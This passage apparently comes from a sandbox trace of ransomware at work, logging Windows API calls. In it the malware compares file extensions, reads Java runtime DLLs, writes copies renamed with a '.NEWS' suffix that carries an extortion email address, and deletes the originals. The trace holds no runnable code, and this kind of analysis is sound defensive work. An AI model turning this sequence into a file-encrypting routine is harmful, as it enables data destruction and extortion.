(normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 1 [0091.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.410] lstrlenW (lpString=".doc") returned 4 [0091.410] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.410] lstrlenW (lpString=".docx") returned 5 [0091.410] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0091.410] lstrlenW (lpString=".pdf") returned 4 [0091.410] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.410] lstrlenW (lpString=".xls") returned 4 [0091.410] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.410] lstrlenW (lpString=".xlsx") returned 5 [0091.410] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0091.410] lstrlenW (lpString=".ppt") returned 4 [0091.410] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.410] lstrlenW (lpString=".zip") returned 4 [0091.410] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.410] lstrlenW (lpString=".rar") returned 4 [0091.410] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.410] lstrlenW (lpString=".bz2") returned 4 [0091.410] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.410] lstrlenW (lpString=".7z") returned 3 [0091.410] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.410] lstrlenW (lpString=".dbf") returned 4 [0091.410] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.410] lstrlenW (lpString=".1cd") returned 4 [0091.410] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.410] lstrlenW (lpString=".jpg") returned 4 [0091.410] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.411] lstrlenW (lpString=".doc") returned 4 [0091.411] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.411] lstrlenW (lpString=".docx") returned 5 [0091.411] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0091.411] lstrlenW (lpString=".pdf") returned 4 [0091.411] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.411] lstrlenW (lpString=".xls") returned 4 [0091.411] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.411] lstrlenW (lpString=".xlsx") returned 5 [0091.411] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0091.411] lstrlenW (lpString=".ppt") returned 4 [0091.411] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.411] lstrlenW (lpString=".zip") returned 4 [0091.411] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.411] lstrlenW (lpString=".rar") returned 4 [0091.411] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.411] lstrlenW (lpString=".bz2") returned 4 [0091.411] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.411] lstrlenW (lpString=".7z") returned 3 [0091.411] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.411] lstrlenW (lpString=".dbf") returned 4 [0091.411] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.411] lstrlenW (lpString=".1cd") returned 4 [0091.411] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0091.411] lstrlenW (lpString=".jpg") returned 4 [0091.411] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.411] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.411] lstrlenW (lpString="jp2ssv.dll") returned 10 [0091.412] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0091.412] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=235584) returned 1 [0091.412] CloseHandle (hObject=0x37c) returned 1 [0091.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0091.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.412] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0091.412] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.412] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.412] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0091.412] GetLastError () returned 0x0 [0091.412] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x39840, lpOverlapped=0x0) returned 1 [0091.419] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x39850, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x39850, lpOverlapped=0x0) returned 1 [0091.423] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.423] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0091.423] SetEndOfFile (hFile=0x2c4) returned 1 [0091.423] CloseHandle (hObject=0x2c4) returned 1 [0091.423] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.423] SetEndOfFile (hFile=0x37c) returned 1 [0091.425] CloseHandle (hObject=0x37c) returned 1 [0091.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.426] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 1 [0091.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.426] lstrlenW (lpString=".doc") returned 4 [0091.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.426] lstrlenW (lpString=".docx") returned 5 [0091.426] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0091.426] lstrlenW (lpString=".pdf") returned 4 [0091.426] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.426] lstrlenW (lpString=".xls") returned 4 [0091.426] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.426] lstrlenW (lpString=".xlsx") returned 5 [0091.426] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0091.426] lstrlenW (lpString=".ppt") returned 4 [0091.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.426] lstrlenW (lpString=".zip") returned 4 [0091.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.426] lstrlenW (lpString=".rar") returned 4 [0091.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.426] lstrlenW (lpString=".bz2") returned 4 [0091.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.426] lstrlenW (lpString=".7z") returned 3 [0091.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.427] lstrlenW (lpString=".dbf") returned 4 [0091.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.427] lstrlenW (lpString=".1cd") returned 4 [0091.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.427] lstrlenW (lpString=".jpg") returned 4 [0091.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.427] lstrlenW (lpString=".doc") returned 4 [0091.427] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.427] lstrlenW (lpString=".docx") returned 5 [0091.427] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0091.427] lstrlenW (lpString=".pdf") returned 4 [0091.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.427] lstrlenW (lpString=".xls") returned 4 [0091.427] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.427] lstrlenW (lpString=".xlsx") returned 5 [0091.427] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0091.427] lstrlenW (lpString=".ppt") returned 4 [0091.427] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.427] lstrlenW (lpString=".zip") returned 4 [0091.427] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.427] lstrlenW (lpString=".rar") returned 4 [0091.427] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.427] lstrlenW (lpString=".bz2") returned 4 [0091.427] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.427] lstrlenW (lpString=".7z") returned 3 [0091.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.427] lstrlenW (lpString=".dbf") returned 4 [0091.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.428] lstrlenW (lpString=".1cd") returned 4 [0091.428] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0091.428] lstrlenW (lpString=".jpg") returned 4 [0091.428] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.428] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.428] lstrlenW (lpString="jpeg.dll") returned 8 [0091.428] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.868] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=185920) returned 1 [0091.868] CloseHandle (hObject=0x2f4) returned 1 [0091.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0091.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.871] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.871] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.871] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.871] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.872] GetLastError () returned 0x0 [0091.872] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x2d640, lpOverlapped=0x0) returned 1 [0091.876] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x2d650, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x2d650, lpOverlapped=0x0) returned 1 [0091.879] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.880] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0091.880] SetEndOfFile (hFile=0x330) returned 1 [0091.880] CloseHandle (hObject=0x330) returned 1 [0091.880] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.880] SetEndOfFile (hFile=0x2f4) returned 1 [0091.882] CloseHandle (hObject=0x2f4) returned 1 [0091.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.882] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 1 [0091.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.882] lstrlenW (lpString=".doc") returned 4 [0091.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.882] lstrlenW (lpString=".docx") returned 5 [0091.882] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0091.882] lstrlenW (lpString=".pdf") returned 4 [0091.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.882] lstrlenW (lpString=".xls") returned 4 [0091.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.882] lstrlenW (lpString=".xlsx") returned 5 [0091.882] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0091.883] lstrlenW (lpString=".ppt") returned 4 [0091.883] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.883] lstrlenW (lpString=".zip") returned 4 [0091.883] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.883] lstrlenW (lpString=".rar") returned 4 [0091.883] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.883] lstrlenW (lpString=".bz2") returned 4 [0091.883] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.883] lstrlenW (lpString=".7z") returned 3 [0091.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.883] lstrlenW (lpString=".dbf") returned 4 [0091.883] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.883] lstrlenW (lpString=".1cd") returned 4 [0091.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.883] lstrlenW (lpString=".jpg") returned 4 [0091.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.883] lstrlenW (lpString=".doc") returned 4 [0091.883] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.883] lstrlenW (lpString=".docx") returned 5 [0091.883] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0091.883] lstrlenW (lpString=".pdf") returned 4 [0091.883] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.883] lstrlenW (lpString=".xls") returned 4 [0091.883] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.883] lstrlenW (lpString=".xlsx") returned 5 [0091.883] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0091.883] lstrlenW (lpString=".ppt") returned 4 [0091.883] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.883] lstrlenW (lpString=".zip") returned 4 [0091.884] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.884] lstrlenW (lpString=".rar") returned 4 [0091.884] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.884] lstrlenW (lpString=".bz2") returned 4 [0091.884] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.884] lstrlenW (lpString=".7z") returned 3 [0091.884] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.884] lstrlenW (lpString=".dbf") returned 4 [0091.884] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.884] lstrlenW (lpString=".1cd") returned 4 [0091.884] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0091.884] lstrlenW (lpString=".jpg") returned 4 [0091.884] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.884] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.884] lstrlenW (lpString="jsound.dll") returned 10 [0091.884] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.885] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=35392) returned 1 [0091.885] CloseHandle (hObject=0x2f4) returned 1 [0091.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0091.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.885] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.885] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.885] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.885] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.886] GetLastError () returned 0x0 [0091.886] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x8a40, lpOverlapped=0x0) returned 1 [0091.888] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x8a50, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x8a50, lpOverlapped=0x0) returned 1 [0091.889] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.889] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0091.889] SetEndOfFile (hFile=0x330) returned 1 [0091.889] CloseHandle (hObject=0x330) returned 1 [0091.889] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.889] SetEndOfFile (hFile=0x2f4) returned 1 [0091.890] CloseHandle (hObject=0x2f4) returned 1 [0091.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.891] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 1 [0091.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.891] lstrlenW (lpString=".doc") returned 4 [0091.891] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.891] lstrlenW (lpString=".docx") returned 5 [0091.891] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0091.891] lstrlenW (lpString=".pdf") returned 4 [0091.891] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.891] lstrlenW (lpString=".xls") returned 4 [0091.891] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.891] lstrlenW (lpString=".xlsx") returned 5 [0091.891] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0091.891] lstrlenW (lpString=".ppt") returned 4 [0091.891] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.891] lstrlenW (lpString=".zip") returned 4 [0091.891] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.891] lstrlenW (lpString=".rar") returned 4 [0091.891] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.891] lstrlenW (lpString=".bz2") returned 4 [0091.891] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.891] lstrlenW (lpString=".7z") returned 3 [0091.891] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.891] lstrlenW 